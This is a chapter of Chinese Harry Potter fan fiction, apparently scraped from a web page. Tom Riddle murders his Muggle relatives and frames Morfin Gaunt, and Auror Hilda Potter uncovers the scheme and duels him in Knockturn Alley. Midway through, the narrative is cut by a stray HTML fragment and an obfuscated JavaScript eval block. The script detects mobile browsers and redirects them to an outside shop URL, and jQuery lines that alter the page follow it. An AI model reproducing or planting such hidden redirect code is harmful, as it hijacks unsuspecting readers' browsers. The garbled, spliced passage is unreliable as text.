离开翻倒巷的博金博克商店后,汤姆·里德尔没有在伦敦多做停留。
他怀揣着新得的两件“珍宝”——赫奇帕奇的金杯与斯莱特林的挂坠盒,但内心并未感到满足。
因为他还有一段肮脏的血脉需要被“妥善”处理。
早在六年级暑假,他就计划要夺取死亡圣器之一的复活石。但当时圣徒和希尔达突然出现在小汉格顿,他的计划被打乱了,只能将复活石暂时搁置。
那是属于他的东西,正在等着他拿走。
阴沉沉的天气。汤姆·里德尔悄无声息地回到了自己憎恶的起点——小汉格顿村。
在这里,他用一个简单的混淆咒,从他那浑浑噩噩的舅舅莫芬·冈特手中骗走了魔杖。
然后,他用那根魔杖,冷静地释放了三道索命咒,终结了里德尔府中他那个麻瓜父亲以及祖父母毫无价值的生命。
寂静的屋子里,地面躺着三具失去生息的惨白躯壳。望着这样的景象,汤姆·里德尔心中没有丝毫波澜,只有一种终于清理掉污秽的爽快。
他毫无留恋地返回冈特家,对着刚刚恢复些许清醒的莫芬施展了夺魂咒。
咒语粗暴地篡改了莫芬本就混乱的记忆,将谋杀的罪名和滔天的恨意植入其中。最后,里德尔轻而易举地取走了那枚镶嵌着佩弗利尔纹章的黑宝石戒指。
完成这一切后,他就像拂去灰尘一般,轻飘飘地消失在夜色中,留下了一个精神崩溃的“凶手”和一团待解的谜题。
…………
金杯的事情处理完毕后,希尔达从霍格沃茨回到了魔法部傲罗办公室。
她还没来得及回味与阿尔法德见面的温情,一份新的案件报告就出现在了她的桌上——小汉格顿村里德尔府灭门案。嫌疑人莫芬·冈特已羁押,对罪行供认不讳。
“冈特……”希尔达轻声念出这个熟悉的姓氏,皱起眉头。
她记得自己第一次听到这个姓氏,还是从雯达·罗齐尔口中。
复活石。
这个与老魔杖、隐形斗篷齐名的死亡圣器,就属于冈特家族。
更重要的是,她记得六年级那个暑假,自己作为实习傲罗追捕仇人雯达·罗齐尔时,正是追踪到了小汉格顿村附近。
当初她在那里遭遇了绝境,是汤姆·里德尔如同幽灵般突然出现,拯救了她的性命,并用索命咒结果了雯达·罗齐尔。
当时她被复仇的快意和劫后余生的激动情绪淹没,很多细节并未多想,但后来每每回忆这件事,都觉得汤姆·里德尔的出现过于巧合。
而今,同样是小汉格顿村,死者又偏偏姓里德尔……
太多的巧合碰撞在一起,在她心中点燃了危险的信号。
强烈的直觉告诉她,这两件事之间必定有着千丝万缕的联系。
“沙克尔先生。”她拿着案件简报,敲响了主任办公室的门,“这个案子,请允许我参与跟进。我……有一些很在意的线索。”
主任正忙着别的工作,百忙之中抬头看了她一眼:“可以。你忙得过来的话,就一起参与吧。不过这个案子证据确凿,嫌疑人自己也认了罪,很快就要结案了。”
得到许可后,希尔达立刻前往关押莫芬·冈特的临时牢房。
狭小的封闭空间里,空气中弥漫着灰尘和劣质酒精的刺鼻气味。
莫芬·冈特正蜷缩在角落,头发脏乱,眼神浑浊,嘴里念念有词。看起来精神很不正常。
希尔达径直走到他面前,直呼他的全名。她需要验证最关键的联想。
“我听说,冈特家族拥有一件传家宝,被称为复活石。是吗?”
她冷静的声音在狭小的空间里回荡。
听到“复活石”和“冈特”两个关键字眼,莫芬浑浊的眼瞳里忽然闪过亮光。
他猛地抬起头,眼神里带着一种疯癫的骄傲。
“是!那是我们家的!”他嘶哑地喊道,“高贵的斯莱特林后裔!我们还有……还有萨拉查·斯莱特林的挂坠盒!最纯正的血统!……”
莫芬口齿不清和颠三倒四的絮叨里,反复出现关于血统的自傲和各种脏话。
希尔达耐心地听了半天,注意到“挂坠盒”这个词。
赫普兹芭·史密斯家中被盗走的挂坠盒。
以及汤姆·里德尔曾在赫普兹芭死前频繁接触她。
所有的线索在这一刻仿佛被一条无形的线串联起来。
希尔达强压下心中的激动,继续追问:“挂坠盒既然是你们冈特家族的宝物,为什么会流落到别人手里?”
闻言,莫芬的脸一瞬间被怨恨和痛苦扭曲。
他捶打着地面,涕泪横流:“是我那个不知廉耻的妹妹,梅洛普!她偷走了它!跟着那个该死的麻瓜里德尔私奔了!那个混蛋抛弃了她,让她像野狗一样死在了街头……我恨他们!所以我杀了他们!活该!哈哈哈……”
说到后面他又哭又笑,状若癫狂。
到此为止,一切似乎都说得通——为妹妹复仇的哥哥,在多年后终于找到机会,用最极端的方式报复了害死妹妹的麻瓜一家。
莫芬的供词,加上他的魔杖确实检测出了释放过索命咒的痕迹,证据链完美无缺。
连陪同希尔达前来的另一位傲罗都低声说:“看来没错了,可以准备结案报告了。”
但希尔达心中的疑虑却并未打消。
她盯着神智混乱的莫芬,冷静地问道:“如果你这么恨里德尔一家,为什么等到今天才动手?这么多年来,你有很多机会。”
然而,莫芬只是重复地咒骂着,没有给出让她信服的解释。
希尔达转而问起另一个关键物品:“那么,复活石呢?你们家的另一个传家宝,现在在哪里?”
听到这个问题,莫芬的眼神出现了一瞬间的呆滞。
他喃喃说道:“那天,我知道我要去杀人了……杀了人,肯定要被关起来了……所以,我把戒指送给了一个路过的人……对,送给了一个路人……”
把象征着家族荣耀和血统的传家宝,随手送给一个素不相识的路人?
哪怕是在神智不清、准备实施谋杀的情况下,也显得有些不符合莫芬的行事作风。
希尔达的心沉了下去。
在她看来,无论是语言逻辑上的漏洞,还是细微的表情变化,都难以排除莫芬·冈特被施加夺魂咒的可能性。
恐怕是有高明的黑巫师利用了他对里德尔家的仇恨,操纵他完成了谋杀,并且盗走了复活石。
而那个幕后黑手,那个同时觊觎赫奇帕奇金杯、斯莱特林挂坠盒,如今又很可能拿走了复活石的人……很有可能就是那个曾在小汉格顿村“巧合”出现的人。
汤姆·里德尔。
这个名字,就如同黑暗中浮出水面的冰山,带着刺骨的寒意矗立在她面前。
希尔达知道,这起案件绝不能就此结案。
**********
与此同时,在远离魔法部视线的一处隐秘所在,汤姆·里德尔正在准备进行一项对他而言神圣而至关重要的仪式。
他要将他的灵魂碎片封入新获得的“赫奇帕奇金杯”之中,制作成一个魂器。
他调整着魔力,试图引导着那源于谋杀的强大黑暗能量,缓缓注入那闪耀的金色杯身。
然而,预想中容器与灵魂碎片完美融合的悸动并未出现。
金杯表面的魔法光晕不自然地闪烁了几下,仿佛承受不住这股力量。
随即,空气中响起一声细微的、如同玻璃碎裂般的“咔嚓”声。
金杯身上的接缝处竟然崩开了一道裂痕!
里德尔的动作僵住了。
他难以置信地拿起金杯,仔细感知。
然后,他立刻意识到,眼前这个“金杯”没有任何圣物应有的神奇魔法力量,只有一层精致的、模拟出来的魔法外壳,并且这层外壳此刻正在他的魔力冲击下迅速瓦解。
这是个赝品!
一股前所未有的震怒汹涌袭来,瞬间打碎了里德尔一向冷静自持的面具。
他竟然被愚弄了!
他费尽心机才得到的“永生钥匙”,竟然是个徒有其表的赝品!
这对他高超的魔法造诣和绝顶的智慧,是赤.裸.裸的侮辱!
是谁?
赫普兹芭·史密斯那个蠢女人?不,她没这个本事,也不会刻意欺骗他。
是那个家养小精灵?更不可能。
阴冷的愤怒浮上心头。他会查明真相,并将胆敢愚弄他的人碎尸万段。
里德尔立刻动身再次潜回翻倒巷,目标是博金博克商店。
他需要知道,在赫普兹芭死后,有没有谁接触过史密斯家。
然而,就在他刚刚踏入翻倒巷昏暗的街道时,一个他无比熟悉、却又在此刻最不愿意听到的声音,在他身后响起。
“在找这个吗,里德尔先生?”
汤姆·里德尔猛地转身。
希尔达·波特就站在不远处,背靠着斑驳的砖墙。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121477|187957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她穿着傲罗的制服,身姿挺拔,手握魔杖,目光锋利得像一柄出鞘的利剑,正一瞬不瞬地盯着他,仿佛早已在此埋伏多时。
“算算时间,那个‘金杯’差不多也该失效了。”
希尔达嘴角勾起没有温度的弧度。
在一瞬间的惊愕之后,里德尔脸上迅速覆上一层阴霾。
但他的眼底却翻涌着复杂的情感——有被算计的暴怒,有对眼前之人的深刻恨意,但恨意深处,竟还诡异地掺杂着一丝扭曲的满足。
“希尔达。”他念出她的名字,声音听不出情绪,却带着无形的压力,“你总是在不该出现的地方,破坏我的计划。”
这算是变相承认了金杯的案件与他有关。希尔达心中的怒火和懊恼一下子腾起。
“是你的计划总建立在别人的尸体和痛苦之上,里德尔先生。”希尔达冷冷地盯着他的脸,魔杖尖已经泛起寒光,“赫普兹芭·史密斯,里德尔一家……下一个又是谁?”
“你是在以傲罗的身份审问我吗?”里德尔轻笑一声,“还是说,你在以恋人的身份表达关心?”
这句话一下子引爆了希尔达的怒火。
“我对你的‘关心’,仅限于把你送进阿兹卡班,或者更直接的地方。”她的眼神瞬间充满杀气。
“呵……”
里德尔缓缓抽出了自己的魔杖,动作优雅得像是在出席一场宴会。
“你还是这么天真,希尔达。你以为凭借魔法部那些条条框框,就能束缚住真正强大的力量?你和我,本可以站在这个世界的顶端,俯瞰众生。可惜,你选择了那条平庸而迂腐的路。”
“那不是平庸,那是底线!”希尔达厉声喝道,同时手腕一抖,“除你武器!”
一道红光疾射而出。
里德尔几乎在同时移动,黑袍翻滚,如同鬼魅般避开了这道缴械咒,反手一道紫黑色的光芒擦着希尔达的耳畔飞过,击中她身后的墙壁,腐蚀出一个滋滋作响的小洞。
“你就只有这点本事吗,希尔达?用我教你的技巧来对付我?”他一边迅捷地移动着,释放着狠厉的黑魔法,一边用言语刺激她。
两人的咒语在狭窄的巷道中激烈碰撞,爆发出阵阵光芒和巨响,吓得周围鬼鬼祟祟围观的黑巫师们四散奔逃。
希尔达的战斗风格更偏向高速敏捷的白魔法攻击与防御。而里德尔的魔法则更加诡异多变,以充满恶意的黑魔法为主。
看起来打得凶,但实际上,双方打斗时互有留手。并且彼此心知肚明。
碍于血契的联结,里德尔不敢释放不可饶恕咒,希尔达也不能真的拼尽全力。
“你追着我跑了这么久,希尔达,从霍格沃茨到翻倒巷……”里德尔的声音带着一种奇异的、近乎愉悦的嘶哑,“你的眼睛,你的思绪,是不是永远都无法真正从我身上移开?无论是因为爱,还是因为恨?”
这话语中的偏执和扭曲的满足感让希尔达感到一阵恼恨。
“我追踪你,是因为你是个罪犯!仅此而已!”她用加强版的铁甲咒挡开一道极为强悍的粉碎咒,手臂被震得发麻。
“是吗?”里德尔的身影在黑暗中若隐若现,幽冷的声音如同毒蛇吐信,“可你无法否认,能让你如此全力以赴、心心念念的,只有我。别人不过是你退而求其次的、苍白无力的慰藉。”
希尔达的怒火快要冲破理智。
她知道他在试图扰乱她的心神。
不能再拖下去了!
她猛地向后一跃,暂时脱离战圈,迅速抬起左手,发射傲罗的紧急求援信号——
就在这一瞬间的停歇中,里德尔抓住了这稍纵即逝的机会,没有选择继续攻击,而是魔杖猛地指向地面。
“轰!”
他脚下的石板猛地炸开,带着刺鼻气味的黑色烟雾瞬间弥漫开来,笼罩了整个巷道。
希尔达被呛得咳嗽不止。
她急忙挥动魔杖驱散烟雾,但等到视野恢复清晰,巷道中早已空无一人,只剩下爆.炸留下的坑洞和空气中残留的魔力波动。
——他又一次从她眼前消失了。
希尔达紧紧握着魔杖,胸口因为愤怒和挫败而剧烈起伏。
但她很快冷静下来。
至少这一次,她没有像以前那样感到无力,她分明看到了他脸上因为意识到被她愚弄而产生的震怒之色。
如今,她已经知道了他的目标,逐渐了解了他的手法。这场猎杀才刚刚开始。而她将会是那个永不放弃的猎人。